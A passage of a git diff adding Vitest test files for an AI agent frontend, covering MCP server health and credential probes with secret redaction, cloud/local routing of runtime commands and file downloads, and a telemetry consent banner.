+    const health = interpretMcpTestResponse(GITHUB, {
+      ok: true,
+      tools: ["search_code"],
+      tool_result: {
+        is_error: true,
+        text: "Tool 'get_me' not advertised by server",
+      },
+    });
+
+    expect(health).toMatchObject({
+      status: "healthy",
+      verification: "connectivity-only",
+    });
+  });
+
+  it("reports connectivity-only for servers without a probe spec", () => {
+    const health = interpretMcpTestResponse(CUSTOM, {
+      ok: true,
+      tools: ["a"],
+    });
+
+    expect(health).toMatchObject({
+      status: "healthy",
+      verification: "connectivity-only",
+      toolCount: 1,
+    });
+  });
+});
+
+describe("probeMcpServerHealth", () => {
+  beforeEach(() => {
+    __resetMcpHealthStoreForTests();
+    vi.restoreAllMocks();
+  });
+
+  it("publishes checking while the probe runs, then the interpreted result", async () => {
+    let resolveProbe!: (value: ExtendedMCPTestResponse) => void;
+    vi.spyOn(McpService, "testServer").mockReturnValue(
+      new Promise((resolve) => {
+        resolveProbe = resolve;
+      }),
+    );
+    const key = getMcpServerHealthKey(CUSTOM);
+
+    const probe = probeMcpServerHealth(CUSTOM);
+    expect(getMcpHealthSnapshot()[key]).toMatchObject({ status: "checking" });
+
+    resolveProbe({ ok: true, tools: ["a", "b"] });
+    await probe;
+
+    expect(getMcpHealthSnapshot()[key]).toMatchObject({
+      status: "healthy",
+      verification: "connectivity-only",
+      toolCount: 2,
+    });
+  });
+
+  it("converts a thrown transport error into a failed verdict", async () => {
+    vi.spyOn(McpService, "testServer").mockRejectedValue(
+      new Error("network down"),
+    );
+
+    await probeMcpServerHealth(CUSTOM);
+
+    expect(getMcpHealthSnapshot()[getMcpServerHealthKey(CUSTOM)]).toMatchObject(
+      { status: "failed", kind: "unknown", error: "network down" },
+    );
+  });
+});
+
+describe("seedMcpServerHealth", () => {
+  beforeEach(() => {
+    __resetMcpHealthStoreForTests();
+  });
+
+  it("publishes the saved server's health from its pre-save test result", () => {
+    seedMcpServerHealth(CUSTOM, { ok: true, tools: ["a"] }, []);
+
+    expect(getMcpHealthSnapshot()[getMcpServerHealthKey(CUSTOM)]).toMatchObject(
+      { status: "healthy" },
+    );
+  });
+
+  it("skips seeding when another installed server shares the health key", () => {
+    // A second install of the same catalog entry collides on the key until
+    // the save suffixes its name; it must not overwrite the first card.
+    const existingVerdict = {
+      status: "failed",
+      kind: "credentials",
+      error: "bad token",
+      checkedAt: 1,
+    } as const;
+    setMcpServerHealth(getMcpServerHealthKey(GITHUB), existingVerdict);
+
+    seedMcpServerHealth(
+      { ...GITHUB, id: "shttp-9" },
+      { ok: true, tools: ["get_me"] },
+      [GITHUB],
+    );
+
+    expect(getMcpHealthSnapshot()[getMcpServerHealthKey(GITHUB)]).toEqual(
+      existingVerdict,
+    );
+  });
+});
diff --git a/__tests__/api/mcp-service/mcp-service.api.test.ts b/__tests__/api/mcp-service/mcp-service.api.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..3d2f9a3bc958e6de654849e9d04f24f7935bf3a4
--- /dev/null
+++ b/__tests__/api/mcp-service/mcp-service.api.test.ts
@@ -0,0 +1,395 @@
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import McpService from "#/api/mcp-service/mcp-service.api";
+import SettingsService, {
+  type SettingsApiResponse,
+} from "#/api/settings-service/settings-service.api";
+import * as activeStore from "#/api/backend-registry/active-store";
+import type { MCPServerConfig } from "#/types/mcp-server";
+import { REDACTED_MCP_SECRET_VALUE } from "#/utils/mcp-config";
+
+// vi.mock factories are hoisted before imports, so spy functions must be
+// created with vi.hoisted() to be in scope inside the factory.
+const { mockTestServer } = vi.hoisted(() => ({
+  mockTestServer: vi.fn(),
+}));
+
+vi.mock("@openhands/typescript-client/clients", () => ({
+  // Real class so `new MCPClient(...)` works; testServer delegates to the
+  // shared spy so each test can configure the return value independently.
+  MCPClient: class {
+    // eslint-disable-next-line class-methods-use-this
+    testServer = mockTestServer;
+
+    // eslint-disable-next-line class-methods-use-this
+    close = vi.fn();
+  },
+}));
+
+vi.mock("#/api/agent-server-client-options", () => ({
+  getAgentServerClientOptions: () => ({
+    host: "http://localhost:3000",
+    apiKey: "test-key",
+  }),
+}));
+
+vi.mock("#/api/backend-registry/active-store", () => ({
+  getActiveBackend: vi.fn(),
+}));
+
+const mockGetActiveBackend = vi.mocked(activeStore.getActiveBackend);
+
+const localActive = () =>
+  mockGetActiveBackend.mockReturnValue({
+    backend: {
+      id: "local-1",
+      name: "Local",
+      host: "http://localhost:3000",
+      apiKey: "test-key",
+      kind: "local",
+    },
+    orgId: null,
+  });
+
+const cloudActive = () =>
+  mockGetActiveBackend.mockReturnValue({
+    backend: {
+      id: "cloud-1",
+      name: "Cloud",
+      host: "https://app.all-hands.dev",
+      apiKey: "cloud-key",
+      kind: "cloud",
+    },
+    orgId: null,
+  });
+
+const SERVER: MCPServerConfig = {
+  id: "shttp-1",
+  type: "shttp",
+  url: "https://mcp.example.com/mcp",
+};
+
+describe("McpService.testServer", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+    localActive();
+  });
+
+  it("passes success responses through unchanged", async () => {
+    mockTestServer.mockResolvedValue({ ok: true, tools: ["search", "fetch"] });
+
+    const result = await McpService.testServer(SERVER);
+
+    expect(result).toEqual({ ok: true, tools: ["search", "fetch"] });
+  });
+
+  it("passes failure responses through unchanged (no server-side escaping)", async () => {
+    // The backend returns plain text; HTML-escaping of {{-error}} is handled
+    // by the i18next no-escape prefix in the translation string, not here.
+    mockTestServer.mockResolvedValue({
+      ok: false,
+      error:
+        "Client error '401 Unauthorized' for url https://mcp.example.com/mcp",
+      error_kind: "unknown",
+    });
+
+    const result = await McpService.testServer(SERVER);
+
+    expect(result).toEqual({
+      ok: false,
+      error:
+        "Client error '401 Unauthorized' for url https://mcp.example.com/mcp",
+      error_kind: "unknown",
+    });
+  });
+
+  it("maps a stdio config to a StdioMCPServerSpec", async () => {
+    mockTestServer.mockResolvedValue({ ok: true, tools: [] });
+    const stdio: MCPServerConfig = {
+      id: "my-server",
+      type: "stdio",
+      name: "my-server",
+      command: "npx",
+      args: ["-y", "@my/mcp-server"],
+      env: { API_KEY: "secret" },
+    };
+
+    await McpService.testServer(stdio);
+
+    // Exact match also guards that non-catalog servers get no `tool_call`.
+    expect(mockTestServer).toHaveBeenCalledWith({
+      server: {
+        type: "stdio",
+        command: "npx",
+        args: ["-y", "@my/mcp-server"],
+        env: { API_KEY: "secret" },
+      },
+      name: "my-server",
+    });
+  });
+
+  // -------------------------------------------------------------------------
+  // Credential verification for marketplace servers (Slack)
+  //
+  // The Slack MCP server lists its tools with any credentials and reports
+  // upstream auth failures as ordinary text content, so the service attaches
+  // a read-only verification tool call and interprets its payload.
+  // -------------------------------------------------------------------------
+
+  const SLACK_SERVER: MCPServerConfig = {
+    id: "slack",
+    type: "stdio",
+    name: "slack",
+    command: "npx",
+    args: ["-y", "@zencoderai/slack-mcp-server"],
+    env: { SLACK_TEAM_ID: "T01", SLACK_BOT_TOKEN: "xoxb-abc" },
+  };
+
+  const slackToolResult = (text: string, isError = false) => ({
+    ok: true,
+    tools: ["slack_list_channels"],
+    tool_result: { is_error: isError, text },
+  });
+
+  it("attaches the read-only Slack verification tool call to the request", async () => {
+    mockTestServer.mockResolvedValue({ ok: true, tools: [] });
+
+    await McpService.testServer(SLACK_SERVER);
+
+    expect(mockTestServer).toHaveBeenCalledWith(
+      expect.objectContaining({
+        tool_call: { name: "slack_list_channels", arguments: { limit: 1 } },
+      }),
+    );
+  });
+
+  it("maps an in-band Slack auth error to a credentials failure", async () => {
+    mockTestServer.mockResolvedValue(
+      slackToolResult('{"ok":false,"error":"invalid_auth"}'),
+    );
+
+    const result = await McpService.testServer(SLACK_SERVER);
+
+    expect(result).toEqual({
+      ok: false,
+      error: "invalid_auth",
+      error_kind: "credentials",
+    });
+  });
+
+  it("does not flag non-auth Slack errors (missing_scope) as bad credentials", async () => {
+    // A valid token lacking a scope authenticated successfully — failing it
+    // would block correctly-configured installs.
+    const response = slackToolResult('{"ok":false,"error":"missing_scope"}');
+    mockTestServer.mockResolvedValue(response);
+
+    const result = await McpService.testServer(SLACK_SERVER);
+
+    expect(result).toEqual(response);
+  });
+
+  it("passes a succeeding Slack payload through unchanged", async () => {
+    const response = slackToolResult('{"ok":true,"channels":[]}');
+    mockTestServer.mockResolvedValue(response);
+
+    const result = await McpService.testServer(SLACK_SERVER);
+
+    expect(result).toEqual(response);
+  });
+
+  it("maps an errored verification call to a credentials failure", async () => {
+    mockTestServer.mockResolvedValue(
+      slackToolResult("Tool 'slack_list_channels' call timed out", true),
+    );
+
+    const result = await McpService.testServer(SLACK_SERVER);
+
+    expect(result).toEqual({
+      ok: false,
+      error: "Tool 'slack_list_channels' call timed out",
+      error_kind: "credentials",
+    });
+  });
+
+  it("returns the response unchanged when an older backend omits tool_result", async () => {
+    mockTestServer.mockResolvedValue({ ok: true, tools: ["a", "b"] });
+
+    const result = await McpService.testServer(SLACK_SERVER);
+
+    expect(result).toEqual({ ok: true, tools: ["a", "b"] });
+  });
+
+  it("skips credential interpretation when the probe tool is not advertised", async () => {
+    // A server variant that doesn't expose the probe tool (e.g. Slack's
+    // hosted MCP) returns a deterministic "not advertised" tool error; that
+    // proves nothing about credentials and must not block the install.
+    const response = {
+      ok: true,
+      tools: ["conversations_history"],
+      tool_result: {
+        is_error: true,
+        text: "Tool 'slack_list_channels' not advertised by server",
+      },
+    };
+    mockTestServer.mockResolvedValue(response);
+
+    const result = await McpService.testServer(SLACK_SERVER);
+
+    expect(result).toEqual(response);
+  });
+
+  // -------------------------------------------------------------------------
+  // Read-only credential probes for the hosted GitHub and Linear servers
+  // -------------------------------------------------------------------------
+
+  const GITHUB_SERVER: MCPServerConfig = {
+    id: "shttp-0",
+    type: "shttp",
+    name: "github",
+    url: "https://api.githubcopilot.com/mcp/",
+    auth: { strategy: "api_key", value: "github_pat_LIVETOKENVALUE" },
+  };
+
+  const LINEAR_SERVER: MCPServerConfig = {
+    id: "shttp-1",
+    type: "shttp",
+    name: "linear",
+    url: "https://mcp.linear.app/mcp",
+    auth: { strategy: "bearer", value: "lin_api_LIVETOKEN" },
+  };
+
+  it("attaches the read-only GitHub probe (get_me) to matching servers", async () => {
+    mockTestServer.mockResolvedValue({ ok: true, tools: [] });
+
+    await McpService.testServer(GITHUB_SERVER);
+
+    expect(mockTestServer).toHaveBeenCalledWith(
+      expect.objectContaining({
+        tool_call: { name: "get_me", arguments: {} },
+      }),
+    );
+  });
+
+  it("attaches the read-only Linear probe (list_teams) to matching servers", async () => {
+    mockTestServer.mockResolvedValue({ ok: true, tools: [] });
+
+    await McpService.testServer(LINEAR_SERVER);
+
+    expect(mockTestServer).toHaveBeenCalledWith(
+      expect.objectContaining({
+        tool_call: { name: "list_teams", arguments: {} },
+      }),
+    );
+  });
+
+  it("maps an errored GitHub probe call to a redacted credentials failure", async () => {
+    mockTestServer.mockResolvedValue({
+      ok: true,
+      tools: ["get_me"],
+      tool_result: {
+        is_error: true,
+        text: "401 for token github_pat_LIVETOKENVALUE",
+      },
+    });
+
+    const result = await McpService.testServer(GITHUB_SERVER);
+
+    // Interpretation runs on already-redacted text, so the surfaced
+    // credentials error never contains the configured secret.
+    expect(result).toEqual({
+      ok: false,
+      error: `401 for token ${REDACTED_MCP_SECRET_VALUE}`,
+      error_kind: "credentials",
+    });
+  });
+
+  it("redacts configured secrets from failure error text", async () => {
+    mockTestServer.mockResolvedValue({
+      ok: false,
+      error: "handshake rejected Bearer github_pat_LIVETOKENVALUE",
+      error_kind: "connection",
+    });
+
+    const result = await McpService.testServer(GITHUB_SERVER);
+
+    expect(result).toMatchObject({ ok: false, error_kind: "connection" });
+    expect(JSON.stringify(result)).not.toContain("github_pat_LIVETOKENVALUE");
+  });
+
+  // -------------------------------------------------------------------------
+  // Redacted-secret round-trip for the edit flow
+  //
+  // The MCP page reads settings with redacted secrets, so unchanged env
+  // values arrive as the literal redaction placeholder. The service swaps
+  // them for the stored values in encrypted form (decrypted server-side) so
+  // the test exercises the real credentials.
+  // -------------------------------------------------------------------------
+
+  const REDACTED_SLACK_SERVER: MCPServerConfig = {
+    ...SLACK_SERVER,
+    env: { SLACK_TEAM_ID: "T01", SLACK_BOT_TOKEN: REDACTED_MCP_SECRET_VALUE },
+  };
+
+  it("substitutes redacted env values with encrypted stored values", async () => {
+    mockTestServer.mockResolvedValue({ ok: true, tools: [] });
+    vi.spyOn(SettingsService, "fetchSettingsFromApi").mockResolvedValue({
+      agent_settings: {
+        mcp_config: {
+          slack: { env: { SLACK_BOT_TOKEN: "gAAAAA-encrypted-token" } },
+        },
+      },
+    } as unknown as SettingsApiResponse);
+
+    await McpService.testServer(REDACTED_SLACK_SERVER);
+
+    expect(SettingsService.fetchSettingsFromApi).toHaveBeenCalledWith(
+      "encrypted",
+    );
+    expect(mockTestServer).toHaveBeenCalledWith(
+      expect.objectContaining({
+        server: expect.objectContaining({
+          // Placeholder replaced by ciphertext; typed value left untouched.
+          env: {
+            SLACK_TEAM_ID: "T01",
+            SLACK_BOT_TOKEN: "gAAAAA-encrypted-token",
+          },
+        }),
+      }),
+    );
+  });
+
+  it("keeps the placeholder when encrypted settings cannot be fetched", async () => {
+    // e.g. HTTP 503 from a backend without a cipher — the test must still
+    // run (and fail the credential check honestly) instead of crashing.
+    mockTestServer.mockResolvedValue({ ok: true, tools: [] });
+    vi.spyOn(SettingsService, "fetchSettingsFromApi").mockRejectedValue(
+      new Error("503 no cipher"),
+    );
+
+    await McpService.testServer(REDACTED_SLACK_SERVER);
+
+    expect(mockTestServer).toHaveBeenCalledWith(
+      expect.objectContaining({
+        server: expect.objectContaining({
+          env: {
+            SLACK_TEAM_ID: "T01",
+            SLACK_BOT_TOKEN: REDACTED_MCP_SECRET_VALUE,
+          },
+        }),
+      }),
+    );
+  });
+
+  it("short-circuits with a synthetic ok response on cloud backends", async () => {
+    // Regression: when the active backend is cloud, the local agent-server's
+    // /api/mcp/test endpoint is not reachable. Previously, the helper threw
+    // `NoBackendAvailableError("No backend is configured.")` which surfaced
+    // in the install modal and blocked users from creating any MCP server
+    // (e.g. Slack) on a cloud session.
+    cloudActive();
+
+    const result = await McpService.testServer(SERVER);
+
+    expect(result).toEqual({ ok: true, tools: [] });
+    expect(mockTestServer).not.toHaveBeenCalled();
+  });
+});
diff --git a/__tests__/api/runtime-service/agent-server-runtime-service.test.ts b/__tests__/api/runtime-service/agent-server-runtime-service.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..e37bdb3b653220fbdf1e7d38d69b704983e00feb
--- /dev/null
+++ b/__tests__/api/runtime-service/agent-server-runtime-service.test.ts
@@ -0,0 +1,307 @@
+import { FileClient } from "@openhands/typescript-client/clients";
+import { RemoteWorkspace } from "@openhands/typescript-client/workspace/remote-workspace";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import AgentServerRuntimeService from "#/api/runtime-service/agent-server-runtime-service";
+import { callCloudProxy } from "#/api/cloud/proxy";
+import type { Backend } from "#/api/backend-registry/types";
+
+// ─── SDK client mocks ───────────────────────────────────────────────────────
+
+const { executeCommandMock, downloadFileMock } = vi.hoisted(() => ({
+  executeCommandMock: vi.fn(),
+  downloadFileMock: vi.fn(),
+}));
+
+vi.mock("@openhands/typescript-client/workspace/remote-workspace", () => ({
+  RemoteWorkspace: vi.fn(function RemoteWorkspaceMock() {
+    return { executeCommand: executeCommandMock };
+  }),
+}));
+
+vi.mock("@openhands/typescript-client/clients", () => ({
+  FileClient: vi.fn(function FileClientMock() {
+    return { downloadFile: downloadFileMock };
+  }),
+}));
+
+vi.mock("#/api/agent-server-client-options", () => ({
+  getAgentServerClientOptions: vi.fn(() => ({
+    host: "http://local-agent.example.com",
+    apiKey: "local-key",
+    workingDir: "/workspace/project",
+  })),
+}));
+
+vi.mock("#/api/cloud/proxy", () => ({
+  callCloudProxy: vi.fn(),
+}));
+
+// ─── Backend fixtures ────────────────────────────────────────────────────────
+
+const cloudBackend: Backend = {
+  id: "cloud-1",
+  name: "Production",
+  host: "https://app.all-hands.dev",
+  apiKey: "cloud-api-key",
+  kind: "cloud",
+};
+
+const CLOUD_CONVERSATION_URL =
+  "https://runtime.example.com/api/conversations/conv-1";
+const SESSION_KEY = "session-key-abc";
+
+// ─── Helpers ─────────────────────────────────────────────────────────────────
+
+function activateCloud() {
+  setRegisteredBackends([cloudBackend]);
+  setActiveSelection({ backendId: cloudBackend.id, orgId: null });
+}
+
+// ─── Setup ───────────────────────────────────────────────────────────────────
+
+beforeEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  vi.mocked(RemoteWorkspace).mockClear();
+  vi.mocked(FileClient).mockClear();
+  executeCommandMock.mockReset();
+  downloadFileMock.mockReset();
+  vi.mocked(callCloudProxy).mockReset();
+});
+
+afterEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+});
+
+// ─── executeCommand ──────────────────────────────────────────────────────────
+
+describe("AgentServerRuntimeService.executeCommand", () => {
+  describe("local backend", () => {
+    it("creates RemoteWorkspace with resolved options and delegates", async () => {
+      executeCommandMock.mockResolvedValue({
+        exit_code: 0,
+        stdout: "main\n",
+        stderr: "",
+      });
+
+      const result = await AgentServerRuntimeService.executeCommand(
+        "http://local-agent.example.com/api/conversations/conv-1",
+        SESSION_KEY,
+        "git rev-parse --abbrev-ref HEAD",
+        "/workspace/project",
+        10,
+      );
+
+      expect(RemoteWorkspace).toHaveBeenCalledTimes(1);
+      expect(executeCommandMock).toHaveBeenCalledWith(
+        "git rev-parse --abbrev-ref HEAD",
+        "/workspace/project",
+        10,
+      );
+      expect(result).toEqual({ exit_code: 0, stdout: "main\n", stderr: "" });
+    });
+
+    it("does not call callCloudProxy for local backends", async () => {
+      executeCommandMock.mockResolvedValue({
+        exit_code: 0,
+        stdout: "",
+        stderr: "",
+      });
+
+      await AgentServerRuntimeService.executeCommand(null, null, "ls", "/", 5);
+
+      expect(callCloudProxy).not.toHaveBeenCalled();
+    });
+  });
+
+  describe("cloud backend", () => {
+    beforeEach(activateCloud);
+
+    it("routes through callCloudProxy with correct path, body, and auth", async () => {
+      vi.mocked(callCloudProxy).mockResolvedValue({
+        exit_code: 0,
+        stdout: "src/index.ts\n",
+        stderr: "",
+      });
+
+      const result = await AgentServerRuntimeService.executeCommand(
+        CLOUD_CONVERSATION_URL,
+        SESSION_KEY,
+        "find . -type f",
+        "/workspace/project",
+        30,
+      );
+
+      const proxyCall = vi.mocked(callCloudProxy).mock.calls[0][0];
+      expect(proxyCall.method).toBe("POST");
+      expect(proxyCall.path).toBe("/api/bash/execute_bash_command");
+      expect(proxyCall.hostOverride).toBe("https://runtime.example.com");
+      expect(proxyCall.body).toEqual({
+        command: "find . -type f",
+        cwd: "/workspace/project",
+        timeout: 30,
+      });
+      expect(proxyCall.authMode).toBe("session-api-key");
+      expect(proxyCall.sessionApiKey).toBe(SESSION_KEY);
+      expect(proxyCall.timeoutSeconds).toBe(40);
+      expect(result).toEqual({
+        exit_code: 0,
+        stdout: "src/index.ts\n",
+        stderr: "",
+      });
+    });
+
+    it("omits cwd from proxy body when not provided", async () => {
+      vi.mocked(callCloudProxy).mockResolvedValue({ exit_code: 0 });
+
+      await AgentServerRuntimeService.executeCommand(
+        CLOUD_CONVERSATION_URL,
+        SESSION_KEY,
+        "echo hi",
+        undefined,
+        10,
+      );
+
+      const proxyBody = vi.mocked(callCloudProxy).mock.calls[0][0].body as Record<string, unknown>;
+      expect(proxyBody).not.toHaveProperty("cwd");
+      expect(proxyBody.command).toBe("echo hi");
+    });
+
+    it("normalises missing stdout/stderr fields to empty strings", async () => {
+      vi.mocked(callCloudProxy).mockResolvedValue({ exit_code: 1 });
+
+      const result = await AgentServerRuntimeService.executeCommand(
+        CLOUD_CONVERSATION_URL,
+        SESSION_KEY,
+        "false",
+        undefined,
+        5,
+      );
+
+      expect(result).toEqual({ exit_code: 1, stdout: "", stderr: "" });
+    });
+
+    it("does not create a RemoteWorkspace for cloud calls", async () => {
+      vi.mocked(callCloudProxy).mockResolvedValue({ exit_code: 0 });
+
+      await AgentServerRuntimeService.executeCommand(
+        CLOUD_CONVERSATION_URL,
+        SESSION_KEY,
+        "echo ok",
+      );
+
+      expect(RemoteWorkspace).not.toHaveBeenCalled();
+    });
+
+    it("falls back to local path when conversationUrl is null", async () => {
+      executeCommandMock.mockResolvedValue({
+        exit_code: 0,
+        stdout: "",
+        stderr: "",
+      });
+
+      await AgentServerRuntimeService.executeCommand(
+        null,
+        SESSION_KEY,
+        "echo ok",
+      );
+
+      expect(callCloudProxy).not.toHaveBeenCalled();
+      expect(RemoteWorkspace).toHaveBeenCalledTimes(1);
+    });
+  });
+});
+
+// ─── downloadFile ─────────────────────────────────────────────────────────────
+
+describe("AgentServerRuntimeService.downloadFile", () => {
+  describe("local backend", () => {
+    it("creates FileClient with resolved options and returns the ArrayBuffer", async () => {
+      const fileBytes = new TextEncoder().encode("# README");
+      downloadFileMock.mockResolvedValue(fileBytes.buffer);
+
+      const result = await AgentServerRuntimeService.downloadFile(
+        "http://local-agent.example.com/api/conversations/conv-1",
+        SESSION_KEY,
+        "/workspace/project/README.md",
+      );
+
+      expect(FileClient).toHaveBeenCalledTimes(1);
+      expect(downloadFileMock).toHaveBeenCalledWith(
+        "/workspace/project/README.md",
+      );
+      expect(result).toBe(fileBytes.buffer);
+    });
+
+    it("does not call callCloudProxy for local backends", async () => {
+      downloadFileMock.mockResolvedValue(new ArrayBuffer(0));
+
+      await AgentServerRuntimeService.downloadFile(
+        null,
+        null,
+        "/workspace/file.txt",
+      );
+
+      expect(callCloudProxy).not.toHaveBeenCalled();
+    });
+  });
+
+  describe("cloud backend", () => {
+    beforeEach(activateCloud);
+
+    it("routes through callCloudProxy with GET and URL-encoded path", async () => {
+      const blob = new Blob([new TextEncoder().encode("file content")]);
+      vi.mocked(callCloudProxy).mockResolvedValue(blob);
+
+      const result = await AgentServerRuntimeService.downloadFile(
+        CLOUD_CONVERSATION_URL,
+        SESSION_KEY,
+        "/workspace/project/src/main.ts",
+      );
+
+      const proxyCall = vi.mocked(callCloudProxy).mock.calls[0][0];
+      expect(proxyCall.method).toBe("GET");
+      expect(proxyCall.path).toBe(
+        "/api/file/download?path=%2Fworkspace%2Fproject%2Fsrc%2Fmain.ts",
+      );
+      expect(proxyCall.hostOverride).toBe("https://runtime.example.com");
+      expect(proxyCall.authMode).toBe("session-api-key");
+      expect(proxyCall.sessionApiKey).toBe(SESSION_KEY);
+      expect(proxyCall.responseType).toBe("blob");
+
+      // Blob.arrayBuffer() round-trip: decoded text should match the original.
+      expect(new TextDecoder().decode(result)).toBe("file content");
+    });
+
+    it("does not create a FileClient for cloud calls", async () => {
+      vi.mocked(callCloudProxy).mockResolvedValue(new Blob());
+
+      await AgentServerRuntimeService.downloadFile(
+        CLOUD_CONVERSATION_URL,
+        SESSION_KEY,
+        "/workspace/file.txt",
+      );
+
+      expect(FileClient).not.toHaveBeenCalled();
+    });
+
+    it("falls back to local path when conversationUrl is null", async () => {
+      downloadFileMock.mockResolvedValue(new ArrayBuffer(0));
+
+      await AgentServerRuntimeService.downloadFile(
+        null,
+        SESSION_KEY,
+        "/workspace/file.txt",
+      );
+
+      expect(callCloudProxy).not.toHaveBeenCalled();
+      expect(FileClient).toHaveBeenCalledTimes(1);
+    });
+  });
+});
diff --git a/__tests__/components/analytics/telemetry-consent-banner.test.tsx b/__tests__/components/analytics/telemetry-consent-banner.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..a49a895c9659d30202919c3a1c28e1d4d9b55131
--- /dev/null
+++ b/__tests__/components/analytics/telemetry-consent-banner.test.tsx
@@ -0,0 +1,198 @@
+import { render, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import { TelemetryConsentBanner } from "#/components/features/analytics/telemetry-consent-banner";
+
+const useActiveBackendMock = vi.fn();
+const useSettingsMock = vi.fn();
+const useBackendsHealthMock = vi.fn();
+const saveSettingsMock = vi.fn();
+const getLockedCloudHostMock = vi.fn();
+const setTelemetryConsentMock = vi.fn();
+
+vi.mock("react-i18next", () => ({
+  useTranslation: () => ({
+    ready: true,
+    t: (key: string, options?: Record<string, string>) =>
+      key === "TELEMETRY$BACKEND_SCOPE"
+        ? `This preference is saved for ${options?.name} at ${options?.host}.`
+        : key,
+  }),
+}));
+
+vi.mock("#/i18n", () => ({
+  OPENHANDS_I18N_NAMESPACE: "openhands",
+}));
+
+vi.mock("#/api/agent-server-config", () => ({
+  getLockedCloudHost: () => getLockedCloudHostMock(),
+}));
+
+vi.mock("#/contexts/active-backend-context", () => ({
+  useActiveBackend: () => useActiveBackendMock(),
+}));
+
+vi.mock("#/hooks/query/use-settings", () => ({
+  useSettings: () => useSettingsMock(),
+}));
+
+vi.mock("#/hooks/query/use-backends-health", () => ({
+  useBackendsHealth: (...args: unknown[]) => useBackendsHealthMock(...args),
+}));
+
+vi.mock("#/hooks/mutation/use-save-settings", () => ({
+  useSaveSettings: () => ({
+    mutateAsync: saveSettingsMock,
+    isPending: false,
+  }),
+}));
+
+vi.mock("#/services/telemetry", () => ({
+  setTelemetryConsent: (...args: unknown[]) => setTelemetryConsentMock(...args),
+}));
+
+describe("TelemetryConsentBanner", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+    saveSettingsMock.mockResolvedValue(undefined);
+    getLockedCloudHostMock.mockReturnValue(null);
+    useActiveBackendMock.mockReturnValue({
+      backend: {
+        id: "local",
+        kind: "local",
+        name: "Local Dev",
+        host: "http://localhost:12000",
+      },
+    });
+    useBackendsHealthMock.mockReturnValue({
+      local: { isConnected: true },
+    });
+
+    useSettingsMock.mockReturnValue({
+      data: { user_consents_to_analytics: null },
+      isSuccess: true,
+    });
+  });
+
+  it("renders in local mode when agent-server consent is null", async () => {
+    render(<TelemetryConsentBanner />);
+
+    expect(
+      await screen.findByTestId("telemetry-consent-form"),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByText(
+        "This preference is saved for Local Dev at http://localhost:12000.",
+      ),
+    ).toBeInTheDocument();
+  });
+
+  it("does not render until the local backend settings are connected", async () => {
+    useSettingsMock.mockReturnValue({
+      data: { user_consents_to_analytics: null },
+      isSuccess: false,
+    });
+
+    render(<TelemetryConsentBanner />);
+
+    await waitFor(() => {
+      expect(
+        screen.queryByTestId("telemetry-consent-form"),
+      ).not.toBeInTheDocument();
+    });
+  });
+
+  it("does not render when the active local backend is unhealthy", async () => {
+    useBackendsHealthMock.mockReturnValue({
+      local: { isConnected: false },
+    });
+    useSettingsMock.mockReturnValue({
+      data: { user_consents_to_analytics: null },
+      isSuccess: true,
+    });
+
+    render(<TelemetryConsentBanner />);
+
+    await waitFor(() => {
+      expect(
+        screen.queryByTestId("telemetry-consent-form"),
+      ).not.toBeInTheDocument();
+    });
+  });
+
+  it.each([true, false])(
+    "does not render when agent-server consent is %s",
+    async (serverConsent) => {
+      useSettingsMock.mockReturnValue({
+        data: { user_consents_to_analytics: serverConsent },
+        isSuccess: true,
+      });
+
+      render(<TelemetryConsentBanner />);
+
+      await waitFor(() => {
+        expect(
+          screen.queryByTestId("telemetry-consent-form"),
+        ).not.toBeInTheDocument();
+      });
+    },
+  );
+
+  it("does not render for cloud backends", async () => {
+    useActiveBackendMock.mockReturnValue({
+      backend: { id: "cloud", kind: "cloud" },
+    });
+
+    render(<TelemetryConsentBanner />);
+
+    await waitFor(() => {
+      expect(
+        screen.queryByTestId("telemetry-consent-form"),
+      ).not.toBeInTheDocument();
+    });
+  });
+
+  it("does not render in locked Cloud mode", async () => {
+    getLockedCloudHostMock.mockReturnValue("https://app.all-hands.dev");
+
+    render(<TelemetryConsentBanner />);
+
+    await waitFor(() => {
+      expect(
+        screen.queryByTestId("telemetry-consent-form"),
+      ).not.toBeInTheDocument();
+    });
+  });
+
+  it("persists the user's local-mode consent choice without useTelemetry", async () => {
+    const user = userEvent.setup();
+    render(<TelemetryConsentBanner />);
+
+    const checkbox = await screen.findByRole("checkbox");
+    await user.click(checkbox);
+    await user.click(screen.getByTestId("confirm-telemetry-preferences"));
+
+    expect(setTelemetryConsentMock).toHaveBeenCalledWith("denied");
+    expect(saveSettingsMock).toHaveBeenCalledWith({
+      user_consents_to_analytics: false,
+    });
+  });
+
+  it("does not persist browser consent when the backend save fails", async () => {
+    const user = userEvent.setup();
+    saveSettingsMock.mockRejectedValue(new Error("unauthorized"));
+    render(<TelemetryConsentBanner />);
+
+    await screen.findByTestId("telemetry-consent-form");
+    await user.click(screen.getByTestId("confirm-telemetry-preferences"));
+
+    await waitFor(() => {
+      expect(saveSettingsMock).toHaveBeenCalledWith({
+        user_consents_to_analytics: true,
+      });
+    });
+    expect(setTelemetryConsentMock).not.toHaveBeenCalled();
+    expect(screen.getByTestId("telemetry-consent-form")).toBeInTheDocument();
+  });
+
+});
diff --git a/__tests__/components/automations/add-automation-modal.test.tsx b/__tests__/components/automations/add-automation-modal.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..e9ac97628acd60a1b4269a58c02be9e4bcd2ffa0
--- /dev/null
+++ b/__tests__/components/automations/add-automation-modal.test.tsx
@@ -0,0 +1,107 @@
+import React from "react";
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, expect, it, vi } from "vitest";
+import {
+  NavigationProvider,
+  type NavigationContextValue,
+} from "#/context/navigation-context";
+import { AddAutomationModal } from "#/components/features/automations/add-automation-modal";
+import { I18nKey } from "#/i18n/declaration";
+
+vi.mock("#/hooks/query/use-settings", () => ({
